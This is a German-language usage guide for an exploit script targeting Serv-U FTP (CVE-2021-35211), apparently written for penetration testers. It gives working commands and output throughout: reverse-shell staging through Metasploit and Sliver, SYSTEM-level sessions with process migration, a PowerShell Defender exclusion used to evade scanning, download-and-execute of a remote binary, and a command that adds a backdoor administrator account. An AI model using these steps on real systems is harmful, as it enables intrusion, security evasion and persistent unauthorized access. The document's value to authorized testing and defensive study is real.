
Serv-U-FTP CVE-2021-35211 Exploit
Der Exploit funktioniert nicht jedes Mal, aber er funktioniert oft genug, um bei etwa 1 von 5 oder 6 Läufen Shellcode auszuführen. Ein fehlgeschlagener Exploit kann jedoch manchmal den Serv-U-Server zum Absturz bringen. Stellen Sie sicher, dass Ihre Einsatzregeln das Risiko von Dienstausfällen oder -verschlechterungen zulassen. Symptome, die beim Testen beobachtet wurden, umfassen:
Caveat emptor.
Versionen sind wichtig. Dieser Exploit verwendet fest codierte ROP-Adressen, die nur für die Serv-U-Version 15.2.3.717 gültig sind. Möglicherweise können wir andere Versionen hinzufügen – fragen Sie bitte nach, wenn Sie es mit anderen Versionen von Serv-U oder Windows benötigen.
% ncat www.example.com 22
SSH-2.0-Serv-U_15.2.3.717
Er akzeptiert die folgenden Argumente:
% python3 CVE-2021-35211.py
usage: CVE-2021-35211.py [-h] [-p TARGETPORT] targetHost {stage,exec,downloadexec} ...
Es gibt drei Modi (bzw. Payloads), die Sie bei einem erfolgreichen Angriff ausführen können:
stageexecdownloadexecNach erfolgreichem Exploit wird ein mit Metasploit/Sliver kompatibler Shellcode-Stager ausgeführt. Er ist der am wenigsten zuverlässige aller Payloads; ziehen Sie downloadexec stattdessen in Betracht. So führen Sie ihn aus:
% python3 CVE-2021-35211.py example.com stage -h
usage: CVE-2021-35211.py targetHost stage [-h] stageHost stagePort
positional arguments:
stageHost Hostname oder IPv4-Adresse Ihrer Metasploit/Sliver-Shellcode-Staging-Instanz
stagePort Portnummer für Ihre Staging-Instanz
optional arguments:
-h, --help show this help message and exit
stageHost und stagePort zeigen auf einen Lauscher auf Ihrer Sliver-/Metasploit-Maschine. Sie können jeden gewünschten Payload wählen, aber ich habe festgestellt, dass der einzige, der zuverlässig funktioniert, windows/x64/shell/reverse_tcp ist. Das ist schade, da dies keine verschlüsselte Shell ist und Sie Ihre Einsatzregeln überprüfen müssen, bevor Sie so etwas starten.
Nochmals: caveat emptor.
Richten Sie es in Metasploit auf Ihrer Kali-Box wie folgt ein:
elvis@kali:~ msfconsole
...
msf5 >
msf5 > handler -H 0.0.0.0 -P 10444 -p windows/x64/shell/reverse_tcp
[*] Payload handler running as background job 1.
Dann führen Sie den Exploit aus:
% python3 CVE-2021-35211.py example.com stage your.metasploit.box 31337
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
Zurück auf der Kali-Box sollten Sie die Stage-Anfrage und den Start der Befehlsshell sehen:
msf5 >
[*] Sending stage (336 bytes) to example.com
[*] Command shell session 6 opened (10.10.10.14:10444 -> example.com:57562) at 2021-10-22 18:50:11 +0000
msf5 >sessions -i 6
[*] Starting interaction with 6...
(c) Microsoft Corporation. All rights reserved.
C:\Program Files\RhinoSoft\Serv-U>whoami
whoami
nt authority\system
Die Sliver-Unterstützung im Stager-Payload ist höchst experimentell und funktioniert selten. Wenn es funktioniert, werden normalerweise Sitzungen gestartet und sofort beendet. Wenn Sie jedoch eine Sitzung erhalten, die nicht sofort endet, können Sie Maßnahmen ergreifen, um Ihren Sliver-Zugriff aufrechtzuerhalten, indem Sie zu einem anderen Prozess migrieren.
Führen Sie auf Ihrem Sliver-Server den Befehl stage-listener aus, um Ihren Listener einzurichten. Weitere Details zum Staging finden Sie in der Sliver-Dokumentation:
elvis@h:/ehome/haggis$ sudo sliver-server
███████╗██╗ ██╗██╗ ██╗███████╗██████╗
██╔════╝██║ ██║██║ ██║██╔════╝██╔══██╗
███████╗██║ ██║██║ ██║█████╗ ██████╔╝
╚════██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗
███████║███████╗██║ ╚████╔╝ ███████╗██║ ██║
╚══════╝╚══════╝╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝
All hackers gain first strike
[*] Server v1.4.17 - 410f0756d26cb279216aecde68c14e68b5c9df32
[*] Welcome to the sliver shell, please type 'help' for options
[*] Check for updates with the 'update' command
sliver >
sliver > stage-listener --url tcp://0.0.0.0:10443 --profile win-shellcode
Führen Sie den Exploit im Stage-Modus aus:
% python3 CVE-2021-35211.py example.com stage your.sliver.box 10443
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
Wenn der Exploit funktioniert (und das tut er sehr selten mit Sliver- oder Meterpreter-Payloads), sehen Sie so etwas (und ja, Sliver hat diesen Payload-Namen ganz allein erfunden!):
[*] Session #4 ARTISTIC_PANTIES - example.com:57071 (WIN-EMCK6E5O0DI) - windows/amd64 - Wed, 20 Oct 2021 04:24:10 UTC
sliver > sessions -i 4
[*] Active session ARTISTIC_PANTIES (4)
sliver (ARTISTIC_PANTIES) > info
ID: 4
Name: ARTISTIC_PANTIES
Hostname: WIN-EMCK6E5O0DI
UUID: 0af9fbf2-c8b0-498c-8d9d-332f13e5d0f8
Username: NT AUTHORITY\SYSTEM
UID: S-1-5-18
GID: S-1-5-18
PID: 3956
OS: windows
Version: Server 2016 build 20348 x86_64
Arch: amd64
Remote Address: example.com:57071
Proxy URL: none
Poll Interval: 1
Reconnect Interval: 60
Das Erste, was Sie tun sollten, ist, zu einem anderen Prozess zu migrieren, da die Wahrscheinlichkeit hoch ist, dass Ihre Sliver-Sitzung stirbt und nicht zurückkommt – und ich kenne zum Zeitpunkt des Schreibens die Ursache nicht.
sliver (ARTISTIC_PANTIES) > ps
pid ppid owner executable session
=== ==== ===== ========== =======
0 0 [System Process] -1
4 0 System 0
...
3872 728 NT AUTHORITY\SYSTEM svchost.exe 0
4868 728 BUILTIN\Administrators Serv-U.exe 0
4636 868 BUILTIN\Administrators dllhost.exe 0
sliver (ARTISTIC_PANTIES) > migrate 3872
[*] Successfully migrated to 3872
Zu diesem Zeitpunkt sollten Sie eine stabile Sliver-Sitzung haben, die immun gegen die Launen von Serv-U und diesem Exploit ist.
Der zuverlässigste Modus und der, der am wenigsten wahrscheinlich von der Microsoft Defender-Endpunktsicherheit angepingt wird. Dies liegt daran, dass ein PowerShell-Befehl (powershell -Command "& {Add-MpPreference -ExclusionPath c:\windows\temp}") verwendet wird, um eine Verzeichnisausnahme zu Microsoft Defender hinzuzufügen, sodass Sliver/Meterpreter/was auch immer für Binärdateien nicht auf Malware gescannt werden. Dies schützt Sie vor Windows Defender, aber das war's; Sie müssen andere Endpunktsicherheitstechnologien, Netzwerk-IDS usw. berücksichtigen.
Im Erfolgsfall wird eine Binärdatei von einer URL heruntergeladen und ausgeführt. Sie benötigen einen Webserver, der Ihre ausführbare Datei hostet. Ich habe Python verwendet, aber beachten Sie bitte, dass ich in einem lokalen Netzwerk ohne SSL teste. Bei echten Exploits müssen Sie Ihre Einsatzregeln überprüfen, wenn Sie unverschlüsselte URLs verwenden möchten.
Nicht zum ersten Mal: caveat emptor.
Starten Sie einen einfachen HTTP-Listener wie folgt:
% python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
Führen Sie mit dem laufenden Listener den Exploit aus:
% python3 serv-u-exploit2.py example.com downloadexec http://192.168.0.144:8000/calc.exe
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
Sie sollten in Ihrem Listener so etwas sehen:
192.168.0.144 - - [22/Oct/2021 12:28:24] "GET /calc.exe HTTP/1.1" 200 -
Das Ziel führt calc.exe aus und startet den Serv-U-Dienst neu, damit Benutzer wieder Verbindungen herstellen können. Beachten Sie, dass die ausführbare Datei kein Fenster anzeigt, aber wenn Sie dieses Beispiel ausführen, sollten Sie wincalc.exe im Task-Manager sehen.
Im Erfolgsfall wird ein Befehl auf dem Ziel ausgeführt. Führen Sie es wie folgt aus:
% python3 serv-u-exploit2.py example.com exec 'net user bishopfox r34LLy.g00d_p4ssW0rd /add & net localgroup administrators bishopfox /add'
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
Dieser Exploit neigt leider dazu, den entfernten Prozess zum Absturz zu bringen. Normalerweise wird er neu gestartet, und ich versuche zu sehen, ob ich ihn stabiler machen kann, aber bis dahin denken Sie bitte daran: Überprüfen Sie Ihre Einsatzregeln und caveat emptor.